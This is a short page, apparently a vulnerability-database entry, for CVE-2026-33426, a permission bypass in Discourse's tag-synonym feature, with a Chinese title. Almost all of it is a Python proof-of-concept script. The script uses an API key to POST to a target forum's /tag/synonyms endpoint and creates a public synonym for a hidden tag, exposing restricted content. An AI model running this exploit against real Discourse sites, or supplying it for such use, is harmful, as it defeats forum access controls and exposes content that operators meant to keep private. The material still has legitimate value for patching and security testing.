CVE-2026-33426 Discourse 标签同义词权限绕过漏洞

import requests # Exploit concept: User with tag editing capability creates a synonym for a hidden tag. # This requires authentication (cookie or token) and the target tag ID. TARGET_URL = "https://target-discourse.com/tag/synonyms" API_KEY = "YOUR_API_KEY_OR_USERNAME" API_USERNAME = "YOUR_USERNAME" # The hidden tag ID or name (assumed attacker knows or guesses it) HIDDEN_TAG_NAME = "restricted-tag-name" SYNONYM_NAME = "public-synonym-name" headers = { "Content-Type": "application/json", "Api-Key": API_KEY, "Api-Username": API_USERNAME } payload = { "synonym": { "name": SYNONYM_NAME, "target_tag": HIDDEN_TAG_NAME } } # Send POST request to create synonym response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Successfully created synonym for hidden tag.") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text)